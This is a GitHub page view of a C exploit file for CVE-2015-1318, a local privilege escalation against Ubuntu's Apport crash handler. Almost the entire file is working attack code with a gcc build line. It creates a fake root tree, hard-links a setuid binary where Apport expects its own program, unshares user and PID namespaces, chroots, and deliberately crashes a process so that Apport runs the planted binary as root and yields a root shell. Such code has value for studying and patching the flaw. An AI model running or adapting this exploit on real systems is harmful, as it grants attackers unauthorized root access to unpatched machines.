-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathCVE-2015-1318.c
202 lines (158 loc) · 4.44 KB
/
CVE-2015-1318.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
/*
gcc -Wall -Wextra -Werror CVE-2015-1318.c -o exploit
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <elf.h>
#include <err.h>
#include <syslog.h>
#include <sched.h>
#include <linux/sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#define DIR_PERMS S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP \
| S_IROTH | S_IXOTH
static int make_dirs(void)
{
if (mkdir("/home/u0631426/fake_root/", DIR_PERMS) != 0) {
perror("fake_root");
return 1;
}
if (mkdir("/home/u0631426/fake_root/usr", DIR_PERMS) != 0) {
perror("usr");
return 1;
}
if (mkdir("/home/u0631426/fake_root/usr/share", DIR_PERMS) != 0) {
perror("usr");
return 1;
}
if (mkdir("/home/u0631426/fake_root/usr/share/apport", DIR_PERMS) != 0) {
perror("usr");
return 1;
}
return 0;
}
static int make_hardlinks(void)
{
if (link("/home/u0631426/rootyTooty", "/home/u0631426/fake_root/rootyTooty") != 0) {
perror("rootyTooty");
return 1;
}
if (link("/home/u0631426/rootsuid_rootyTooty",
"/home/u0631426/fake_root/usr/share/apport/apport") != 0) {
perror("setuid'r");
return 1;
}
return 0;
}
static inline void check_fork_errors(pid_t type, const char* msg) {
if(type == -1) {
perror(msg);
exit(EXIT_FAILURE);
}
}
static int hack_the_planet(void)
{
pid_t _main, child, grand_child;
int status;
_main = fork();
/*
remember fork can error, some of the nastiest bugs you'll ever come
across are not checking for bad fork ret values
*/
check_fork_errors(_main, "fork main");
if(_main == 0) {
/* child */
/* Create new user namespace:
Unshare the user namespace, so that the calling process
is moved into a new user namespace which is not shared with
any previously existing process.
Unshare the PID namespace, so that the calling process
has a new PID namespace for its children which is not shared
with any previously existing process.
*/
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0) {
perror("CHILD UNSHARE, are you sure you're on a 3.8> kernel?");
exit(EXIT_FAILURE);
}
/* put a child in the new namespace. */
child = fork();
check_fork_errors(child, "Child fork error");
if (child == 0) {
if( getpid() != 1 ) {
perror("SOMETHING IS WRONG, WE SHOULD BE INIT WITHIN NS");
exit(EXIT_FAILURE);
}
/*
if init ever traps, that usually means all hell is breaking
loose on the machine The kernel doesn't yet differentiate
between traps in ns'd pid 1's and the true init.
That being the case we need to make a new process within
the name space and fault that one.
*/
grand_child = fork();
check_fork_errors(grand_child, "GC failed");
/* time to break things */
/* setup the chroot */
if(grand_child == 0) {
if (chroot("/home/u0631426/fake_root") != 0) {
perror("chroot failed!");
exit(EXIT_FAILURE);
}
/* Normally, when you ls / , normally you see:
bin cdrom etc initrd.img lib lib64
lost+found mnt proc run srv tmp var vmlinuz.old
boot dev home initrd.img.old lib32 libx32 media
opt root sbin sys usr vmlinuz
but since we chroot'd if you were to ls you'd see:
rootyTooty usr
*/
/* trigger everything by causing a trap. You can use builtin_trap
or you can just dereference a funny pointer.
th..thanks c.
*/
*(unsigned long *)0xbadc0de0beeeeeef = 0x31337;
/*
Apport is now exec()'ing our rootsuid_rootyTooty
which setuid's rootyTooty which will drop us rootshell
when we run it
*/
printf("lol wut, shouldnt happen");
__builtin_trap();
}
/* If the subprocess exited with an abnormal signal,
then everything worked. */
if (waitpid(grand_child, &status, 0) == grand_child) {
return WIFSIGNALED(status)
? EXIT_SUCCESS
: EXIT_FAILURE;
}
/* if exploit worked, shouldn't be here */
printf("EXPLOIT FAILED\n");
return EXIT_FAILURE;
}
if (waitpid(child, &status, 0) == child) {
return WIFSIGNALED(status)
? EXIT_SUCCESS
: EXIT_FAILURE;
}
printf("WAIT PID FAILED ON CHILD\n");
return EXIT_FAILURE;
}
return waitpid(_main, &status, 0);
}
int main(void)
{
/* setup fake directory structure we'll chroot */
if (make_dirs())
return EXIT_FAILURE;
if (make_hardlinks())
return EXIT_FAILURE;
hack_the_planet();
return EXIT_SUCCESS;
}